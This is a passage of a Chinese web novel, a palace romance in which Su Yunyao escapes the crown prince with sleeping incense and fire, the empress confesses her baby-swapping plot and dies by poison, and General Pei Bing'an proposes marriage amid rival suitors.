“殿下不在意民女也就罢了,为何这么狠心,非要置民女于死地,民女愚钝,不知道哪里得罪了殿下,临死前想问清楚为什么,也好死了做个明白鬼。”
她本就生得沉鱼落雁闭月羞花,连她自己都不知道,这蹙眉哭泣的委屈模样美得多么惊心动魄,太子冷笑了几声,眼神却不曾从她身上移开过片刻。
哭了一会儿,不见太子下令杀了自己,苏云瑶心中有了计较,拿帕子擦了擦眼角说:“殿下不想说,民女便不问了,就算是我自己倒霉吧。不过,死前能够再见殿下一面,民女也知足了。”
她说着,提起裙摆作势要往柱子上撞去,太子见状突然拂袖起身,道:“本宫这间宫殿是寻欢作乐的地方,不是你寻死的地方。”
苏云瑶心中暗骂了几句,面上却不显什么,仍然柔弱地啜泣着说:“民女想死不能死,想活又不能活,殿下到底想要民女怎样?”
殿内沉默了一瞬,一只苍白劲瘦的手突然捏住了她的下颌。
太子低头盯着苏云瑶潋滟的眸子,喉结难耐地滚动了几下。
他俯身,在她耳旁笑道:“为何不想着你的前夫,反而想着本宫?”
他离得太近,粘腻灼热的视线肆无忌惮,苏云瑶忍着恶心闭了闭眼睛,勉强从唇齿间挤出几个字:“若是民女对他有意,他怎会变成前夫?殿下龙章凤姿,岂是他能比上的?”
太子甚是愉悦地笑了一声,长指重重碾过她柔软的唇瓣,道:“想活容易,伺候好本宫,本宫留你一条性命。”
他看了眼殿中的摇铃与金链,神情中露出催促的意思。
苏云瑶不明所以地愣了片刻,看出她茫然懵懂的模样,太子扬起眉头,在她耳边气息急促地调笑:“不懂?好歹嫁过人,连榻上的事都不清楚?”
恍然明白太子的意思,苏云瑶下意识咬紧了唇。强装镇定的脸庞因为羞窘腾得红了起来,连耳尖都染上了瑰丽的绯红。
这艳丽的色彩落在太子眼中,无疑助长了心底的欲念。
还没等苏云瑶回过神来,一只冰冷苍白的手扶上了她的肩头。
冷玉扳指贴着她的衣物摩挲着,像一条吐着信子的毒蛇在身上游走。
计划近在眼前,估摸着那香也应该产生效果了,苏云瑶忍着恶心与战栗,悄然退后几步拂开太子的手,勉强勾唇笑了笑道:“殿下莫要着急,民女身上的脏污还没洗净,等沐浴一番,再侍奉殿下”
眸光落在她娇艳的脸上,太子有些急不可耐。
不过想到两人可以共浴,太子心领神会地勾唇一笑,吩咐宫婢去备水。
清淡的幽香无孔不入,丝丝缕缕在殿内弥漫,还没等宫婢备好水,昏沉的睡意逐渐上涌,太子靠在椅背上,不知不觉睡了过去。
迷魂香的效果非同一般,太子睡得很沉,苏云瑶唤了他几声不见回应,不由冷笑一声,狠狠踹了他几脚泄恨。
宫婢备好了水,也准备了一套干净的衣裳送了进来。
待宫婢离开后,苏云瑶换好衣裳,将殿里绯红的幔帐三两下扯成一团引燃。
待火势逐渐变大,火光映红了外面的庭院时,趁着夜色遮掩,她悄无声息地溜了出去。
~~~
晨光熹微之时,东宫的方向亮起了火光,将鱼肚白的天际染上一片猩红。
从得知苏云瑶不见了的那一刻起,裴秉安沉冷的神色便没再和缓过半分。
他策马去往东宫,一袭黑色的战甲寒光冷冽,散发着令人胆寒的气势。
太子的禁军守在宫外,看到一匹高大的黑色骏马如神兵天降般疾驰而来。
马背上的男子身姿高大挺拔,宛如一座巍峨坚实的山峰,肃然坚毅的面庞冷峻如冰,眸底却翻涌着腾腾杀意。
禁军甚至没反应过来,便被泛着寒光的兵刃一刀毙命。
裴秉安驱马进了东宫,金吾卫的士兵随后而至,将东宫围了起来。
东宫燃起了大火,彼时太子没有在大火中殒命,而是被侍卫救了出来,只不过他一直昏昏沉沉没有清醒,等卫兵匆忙进来通传时,他才明白自己中了美人计。
裴秉安所经之处无人阻拦,进入东宫如入无人之境,直到亲眼看到太子,他翻身下马,手提长刀向他走了过去。
“云瑶呢?”沉默了一路,他开口时,嗓音像浸了寒冰。
大势已去,明白自己如今已没什么胜算,不甘心就这样被轻而易举地打败,太子意味不明地笑了笑,道:“你说呢?她被本宫带到这里,只有尽心侍奉取悦本宫的份儿,你觉得她还能有什么下场”
话音未落,一道寒光倏然闪过。
这一刀,快如闪电,势不可挡,携带着千钧之力,太子甚至来不及眨眼,腿上便中了一刀,鲜血如喷泉般迸射而出。
“她若少了一根毫毛,你拿命来还。”裴秉安目光冰冷,手中的长刀没有一丝犹豫。
腕骨尽碎,脚筋挑断,利刃像一把灵活的屠刀,太子手持长剑也毫无招架之力。
不消片刻,长剑脱手飞了出去,他直挺挺跪倒在地,扬起一片浸血的尘土。
藏身在角落处的苏云瑶,听到熟悉而让人安心的声音,从角落处探出半个脑袋,待确认是裴秉安无疑时,提着裙摆跌跌撞撞跑了过来。
“裴秉安!我在这里!”
听到她的声音,裴秉安微微一愣,反手挽回长刀,锁紧的眉头舒展开来。
他转身大步流星地朝她走去。
刚跑到近前,苏云瑶便被男人拥进坚实的怀抱中。
长臂铁钳似得紧紧环住了她的腰身。
脑袋贴在他的胸前,听着沉稳有力的心跳声,苏云瑶下意识轻轻嗅了嗅,闻到了他满身浓重的血腥味。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
第 92 章【VIP】
第92章 第92章永宁公主。
天边泛起鱼肚白,晨光驱散最后一缕晦暗的夜色。
微风拂过,浓重的血腥味却更加明显,依偎在裴秉安的怀里,苏云瑶鼻子一酸,乌黑的杏眸蓄满了泪水。
当着他众多下属的面,她不好意思查看他的伤势,好不容易憋住眼里的泪,小声道:“你受伤了?”
他的黑色长袍浸满了鲜血,她简直不敢想象,一夜鏖战,他身上又添了几道伤疤,多了几处刀伤。
垂眸看着怀里的人,失而复得的感觉,令裴秉安欣喜不已。
不过他一向情绪内敛,沉冷的脸色不见什么波澜,只是揽着纤细腰肢的长臂又悄然收紧了几分,把人用力按进自己的怀里。
“无事。”他沉声道。
他这样说,苏云瑶心头却更加酸涩,乌黑的长睫心疼地颤了颤,泪珠扑簌簌滚了下来。
裴秉安俯身,骨节分明的劲挺大手扣住她的后脑,轻轻擦去她脸上的泪珠。
“莫哭,莫怕,以后不会再有危险了。”
他垂眸,深深拥紧怀里的人,黑沉星眸中清晰地映着她的身影,再也不想与她分离片刻。
短短数日,太子的阴谋便被轻而易举地粉碎,养心殿中燃起了紫薇伴梦香,龙榻上性命垂危的元德帝终于睁开龙目,悠悠转醒。
大病初愈,元德帝整个人瘦了一圈,脸色也苍白得不像话。
昏迷之前的事,他记得一清二楚,皇后侍奉他用药,半途时,说是让他压压口中的苦涩,让他服下了一枚像山楂丸样的蜜丸。
丸药入口,他喉咙麻痹,口不能言,挥手打翻了皇后手中的药碗。
药碗
碎了一地,却未引起宫人与太医的注意,若非景王寸步不离地守候在他左右,只怕他已遭了皇后的毒手。
夫妻多年,举案齐眉,相敬如宾,他本以为温婉柔顺的皇后,竟然想要置他于死地。
他不清楚,这到底是为什么。
日光黯淡的午后,坤宁殿中寂然无声,林皇后身着华贵端庄的绛红织金凤袍,面无表情地对镜梳着长发。
元德帝慢慢走进殿中,大病初愈的脚步沉重而缓慢,每朝皇后靠近一步,他的神色便越发孤寂寥落。
“婉婉,为什么?”
站在几步远的地方,望着皇后冷漠的背影,元德帝低声开口。
听到他的声音,林皇后梳着长发的动作一顿,静默了几瞬,缓缓站了起来。
她没有挽发,任由长发凌乱地披在肩头,垂眸看了一眼身上的华贵凤袍,她惋惜地叹了口气。
精心谋划的皇后之位,再也无法保住,事到如今,小心隐瞒这么多年的秘密,她也该告诉他了。
“太子不是你的亲生孩子,当年我生下的是个公主,”林皇后冷笑着勾了勾唇,看向他的眼神平静而怨毒,“为了当上皇后,我从宫外抱养了一个男婴,换下了我们的孩子。”
令人震惊的消息如同炸雷一般,元德帝只觉头脑嗡嗡作响,他难以置信地盯着皇后,待看出她并非在胡言乱语时,痛苦的情绪霎时如潮水般汹涌扑来。
“公主呢?她在哪里?”
看着眼前共度半生的丈夫,林皇后冷笑不已。
当年他还未登基之时,她便嫁进东宫,成了他的太子妃,可他呢?何曾真正将她放在心上过?
旁人全然不知,他也自以为遮掩得很好,可她却看得一清二楚,他一直心心念念的是他那个皇妹,若非因伦理道德约束,只怕他早将人迎进了王府,替代了她这个太子妃。
后来,她巧施计谋离间他们兄妹的感情,又放了一场大火,想让那个女人永远在这个世界消失。
她果真达成了计划,也终于如愿成了皇后,可他每次看向她的时候,似乎都在寻找那个女人的影子。
他后宫清静,连妃嫔也不纳,直到几年之后,她想试探一番他是否彻底忘记了那个女人,便选了几个与那女人模样有几分相似的女子进宫,其中尤以妃嫔徐氏与她最为相像。
让她实在遗憾得是,他这么个清心寡欲的帝王,竟然会夜夜流连后宫,把那几个妃子当成了那个女人的替身。
她几乎没费什么力气,便除掉了那几个妃子。
后宫不再有她讨厌的女人,他也对她很好,可她的心早已冷如坚冰,不再因他而起什么涟漪,只剩下了难以消解的恨意。
只是这份恨意,她隐藏得很好,他不曾察觉过,或者,换而言之,他也未曾在意过她的情绪。
有时候她甚至想,若有朝一日孩子的事败露,她不得不亲手喂他吃下一颗毒药,她也不会心痛,不会难过,相反,这个令她因爱生恨的男人消失在眼前,她只会觉得解脱。
事到如今,功败垂成,再说什么也无益,林皇后情绪难辨地笑了笑,道:“皇上,臣妾认下过错,可是,受罚之前,臣妾想再求你一件事。”
“公主是你的血脉,还请你善待她。”
话音落下,林皇后俯身捂住了胸口。
早已饮下的毒酒开始发作,脏腑如刀绞般生痛,她咳了几声,鲜血不断从口中涌出,华贵凤袍上尽是触目惊心的血迹。
~~~
一晃数日过去,事情终于尘埃落定。
元德帝病情痊愈,身形却依然消瘦不已,他年事已高,经此一番沉重的打击,精神多日不振。
这日,苏云瑶去养心殿探望,元德帝正负手立在殿中的香炉旁,望着那袅袅升起的紫薇伴梦香出神。
“舅舅。”苏云瑶轻声唤他。
殿里的紫薇伴梦香快用完了,她这次来,是为了给他送熏香。
元德帝回过头来,似乎恍惚了几瞬,继而苍白脸庞露出慈爱的微笑,道:“云瑶,你来了,皇舅正好想与你说说话。”
说了几句家常,元德帝却时不时有些走神。
他原以为,当年皇妹在大火中丧生,没想到她是死遁离开,他痛心疾首了许多年,在得知这一消息的时候,感慨万千,庆幸不已,如释重负。
还好,她没有因他而死,而是按照她自己的想法,嫁给了她喜欢的那个男人,度过了许多年欢乐的时光。
不过,那许多深埋在心中的陈年旧事,他不会再提,这世间也无人再知晓。
“你娘”他顿了顿,笑着道,“当年如果你娘还愿意理我这个皇兄的话,生下你之后,一定会到宫里来炫耀,一定还会缠着我给你一份独一无二的礼物”
他说着,又出神了一阵子,才笑着慢慢道:“皇舅子嗣单薄,你是我的外甥女,与亲女儿也无异,从今往后,就封为永宁公主吧。”
永宁,寓意永远安宁顺遂,希望她能按照她自己喜欢的方式,幸福安稳地度过一生。
林皇后离世后,当年后宫几位妃子被谋害而亡的真相也很快浮出水面,徐家冤案平反时,在外地治病看诊的徐长霖也返回了京都。
回去的第一件事,他便去求见元德帝,请皇上收回当初的赐婚。
“皇上,我对永嘉郡主只有医患之谊,没有男女之情,还请皇上明察,为郡主另择良婿。”
感情的事勉强不得,若是执意撮合,世间只会徒增一对怨偶,元德帝依言应允。
心头卸下重担,徐长霖只觉浑身轻松,这日得知苏云瑶在凝香坊,他便迫不及待地去见她。
只不过,到了香铺的雅室,他却发现情形有些不对劲。
室内,那位裴将军与景王殿下相对而坐。
不知此前两人说了什么,两人一个横眉冷对,一个喜笑颜开。
而看到徐长霖跨进门槛的那一瞬,裴秉安利刃似的视线扫向他,原本沉冷不已的脸色,霎时又多罩了一层寒霜。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
【正文完】
第93章 第93章一刻也不想再……
天气晴好,和煦日光下,香铺牌匾上的凝香坊三个字清秀灵动,熠熠生辉。
铺子的雅室中暗香浮动,香气清幽,只是室内三人面面相觑,一时谁都没有开口,诡异的静谧中,气氛莫名有些古怪。
想到方才提及过的事,景王清了清嗓子,率先打破了寂静。
“裴将军,你意下如何?”
裴秉安冷冷看了他一眼,没有理会,而是转眸看向徐长霖:“徐大夫,你来做什么?”
徐长霖饮茶的动作一顿,微笑道:“在下到这里,自然是来找瑶瑶的——”
说着,他疑惑地看向景王:“我多问一句,殿下方才与裴大人商议了何事?”
景王长眉挑起,侧目打量了他片刻,目露警惕。
他与徐长霖自小相识,无话不谈,可此时,他却觉得,这里已经有了一个裴将军,又来了一个他,实在让他有些头疼。
纠结片刻,景王保持着克制的热情,熟络地拍了拍徐长霖的肩,笑道:“听说甘州最近出了一味神奇的香料,比西域的香料还要好,本王打算亲自去看一看究竟,当然,表妹对香料最为熟悉,我们约定好要一起去的——”
说话间,他暗暗思忖,裴秉安官复原职军务繁忙,应该是无法同行的,至于徐长霖,他只懂医术不懂香料,应该也不会感兴趣。
谁料,还没等他想完,便看到徐长霖微笑着点了点头,毫不迟疑地说:“那好,恰好我最近打算去一趟甘州,瑶瑶要去,我自然要与她同行。”
景王唇畔的笑意霎时凝住,拧眉看着徐长霖,暗暗冷哼一声。
怎么就这么巧合?再说,他们表兄表妹同去,多加一个他,不觉得自己多余吗?
“不是,长霖,京都就没有你要看诊的病人了吗?甘州山高路远的,你跟着凑什么热闹。”
“殿下说笑了,你可以
陪瑶瑶一起去,我怎么就不行了?再者,今时不同往日,殿下还要修习课业,处理政事,哪有时间去甘州?不如殿下就把这件事全权交给我,由我陪瑶瑶去甘州,你大可放心”
听着两人你来我往的争风吃醋,唇枪舌剑,裴秉安沉默未语,脸色却沉冷如霜。
还在两人争执间,外面响起咚咚咚的脚步声,转眼间,青桔举着一封信跑了进来。
她看了看屋里的三个男子,犹豫片刻,把信递给了裴秉安。
“将军,这是一个西域人送来的信,你快看看写了什么。”
这信是皮革所制,上面写着一行隽秀飘逸的西金文字,还盖着西金王室特有的金色印章。
只扫了一眼,心中便忽然升起不妙的预感,默然几息,裴秉安冷脸展开了信笺。
一目十行地掠过,他的脸色越来越难看,直到信笺的末尾,阿斯王子提到近期要亲自带商队去甘州,热诚地邀请苏云瑶在甘州相见叙旧时,裴秉安的脸色已经黑如锅底。
啪的一声,信笺被重重拍到桌子上,那掌力之重,几乎将房里其他的人吓了一跳。
裴秉安立即去了楼下香铺。
彼时铺中待客的客堂里充满了欢乐的气氛。
永嘉郡主与陆凤灵相邀而至,打算约苏云瑶明日一起去相国寺上香,三人凑在一起饮着桃花酒闲聊着趣事时,突然听到了男子沉稳有力的脚步声。
裴秉安一身黑色劲袍,眉头紧锁,负手阔步走了进来。
继而,景王殿下也快步走了过来。
行走间,他白色衣袍飘飞,修眉俊目,气质非凡,只是脸色不太好看。
不消片刻,徐长霖紧随其后,急步而至。
走来时,他若有所思地摇着手中竹扇,面如冠玉的脸庞略显沉凝。
不过,还没等他走近,似有所感,永嘉郡主猛地抬头看向了他。
目光相触的一瞬,徐长霖突地一愣,悄然顿住了脚步。
永嘉郡主目不转睛地看了他一会儿,微微一笑,神色如常得同他打了个招呼。
“徐大夫。”
两人婚约解除之后,已有许多日子再没见过,不期在这里相遇,尴尬片刻后,徐长霖不自在地摇了摇手中折扇,拱手道:“见过郡主殿下。”
永嘉郡主点了点头,便面无表情地移开视线,没再看他。
时辰不早了,该到了回府的时辰,约好了明日的事,她便与苏云瑶作别。
“表姐,我先回去了。”她轻声道。
苏云瑶道:“你等下。”
近日她刚制了一味香,对永嘉的身体有益,正打算送给她。
只是等她取来了香,亲自送永嘉到外面的马车上时,竟意外地看到一个陌生的年轻男子正在等她。
原来与徐长霖的婚事不顺,永嘉郡主已另寻良婿。
对方是去岁科举入仕的进士,现在刑部任职,其人相貌周正,温柔体贴,母亲已给她选好了吉日,待过了中秋,他们就要定下亲事成婚了。
目送永嘉与那男子一起上了马车,苏云瑶轻轻叹了口气,再回过头时,却发现不知何时徐长霖也站在旁边,正呆呆地看着那远去的马车。
他神清怔然,白皙的脸庞似覆了一层凝重的暗云,唇角也几乎抿成了一条直线。
过了一会儿,来不及同苏云瑶说些什么,看着那马车渐渐远去,他忽然唰地收拢了手中的折扇,丢下一句“瑶瑶,改天我再来看你”,便大步追了过去。
苏云瑶无话可说,看着他匆匆离开的背影,情绪复杂地哼了一声。
永嘉郡主离开后,陆凤灵也没有久呆。
三人闲聊时喝着桃花酒,那香气四溢的桃花酒不醉人,她之前一口气喝了满满一大盏,分明不觉得有什么,可起身离开时,忽然觉得眼前影子重重叠叠,脚下也像踩了团棉花似的,怎么走路都轻飘飘的落不到实处。
陆凤灵眯了眯眼,视线在室内扫了一遍,抬手指向景王,命令道:“你,送本姑娘回府。”
景王一言难尽地挑起长眉:“本王哪有时间,让你的丫鬟送你回去。”
陆凤灵看了看自己表哥那沉冷的脸色,再看看那碍事的景王殿下,上前揪住他的衣袖往外走,道:“不行,你必须送本姑娘回去。”
她看着清秀纤细,力气却异于常人,被她拖着往外走,景王简直毫无招架之力。
不过,看在她喝醉了酒,脑袋不清醒的份上,景王大度得没有与她计较,而是依她所言,亲自送她回去。
多余的人终于都离开,香铺中恢复了清静,裴秉安沉冷的神色勉强稍有舒缓。
想到苏云瑶过些日子打算要去一趟甘州,这一去不知要几个月才能回来,况且群狼环伺,虎视眈眈,他眉头拧起,眸底尽是担忧。
“非去不可吗?”他开口,声音冷飕飕的,带着一丝不易察觉的委屈。
苏云瑶笑看着他,纤细的手指轻轻握住他的大手,道:“等我回来,大约也就两三个月,不会太久的。”
裴秉安剑眉紧锁,大手揽住她纤细的腰,将她用力拥进怀中。
离得很近,他身上清冷的松木清香,沉稳的有力心跳,每一点,都让人十分安心。
依偎在他怀里,苏云瑶满足地闭上眼睛,温柔地道:“我会给你写信的。”
一言不发了许久,裴秉安深深看着怀里的人,冷硬地拒绝:“不行,我不同意。”
别说几个月了,一旬,一天,一息,甚至是一瞬,只要她在距他千里之外的地方,他都不会放心。
更何况,虽然她不再拒绝他,对他也十分亲近,可直到今日,她还没想过他们应该先成婚的事。
他向来是个沉稳冷静的人,可现在,他一刻也不想再等下去了。
“云瑶,”裴秉安默然深吸口气,垂眸凝视着怀里的人,郑重地说,“我们成亲吧。”
苏云瑶微微一怔,睁大杏眸看着他,清澈的眸底有几分苦恼。
她蹙起秀眉,没有马上回答他的话。
说句实话,她是喜欢他,可她也很享受现在的生活。
她生活富足,无忧无虑,悠闲自在,如今又有了公主这个身份,可以说,没什么不如意之处了。
当然,有他,便更加圆满了。
可一想到再嫁给他,还要为他侍奉长辈,操持琐事,甚至还要生育子嗣,她便觉得脑袋发晕,颇有压力。
她也许有些自私,只想先继续现在的生活,待过些日子,再考虑两人成婚的事。
她的迟疑,没有逃过裴秉安敏锐的眼睛,他不自觉收紧长臂抱紧怀里的人,沉声道:“到底有何顾虑?”
苏云瑶抿了抿唇,道:“我”
“云瑶,你不必担心,先前是我不对,一心想要你做个贤妻,”裴秉安大掌扣住她的后脑,十二分认真地说,“你我成婚之后,你想做什么,我都会依你,绝不会像以前那样,只想将你拘在宅内,做一个贤妻良母。”
苏云瑶眨了眨眼睛,开诚布公地道:“那我不想早晚请安,不想操心琐事,不想那么快生孩子,你都能接受吗?”
她可是记得清清楚楚,他觉得自己快到而立之年,着急想要诞下子嗣,眼下她提出这样的要求,不知他会有什么反应。
然而她话音方落,便听到男人沉声道:“这些不足为虑。你放心,成婚之后,我可以住在你的府邸,你偶尔陪同我回府便可。至于孩子的事,你什么时候想要,就什么时候要,我尊重你的意愿,即便没有子嗣,我也不会觉得遗憾。”
这些是他早已深思熟虑许久的事。
失而复得,他感激命运的安排。
眼前人是他最重要的全部,其他的,都无足轻重。
深沉地凝视着苏云瑶的双眸,裴秉安不易察觉地勾起唇角,俯身下去,无比珍重地吻住了她柔软的唇畔。
时间仿佛瞬间静止。
周围的一切都变得模糊起来。
狭小的空间,只有彼此深情而炽热的心跳声,愈发深沉,愈发热烈。
彼时,落日熔金,繁花尽绽,绚烂的云霞铺满天空,馥郁的芬芳弥漫四周,经久不消,经久不散。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&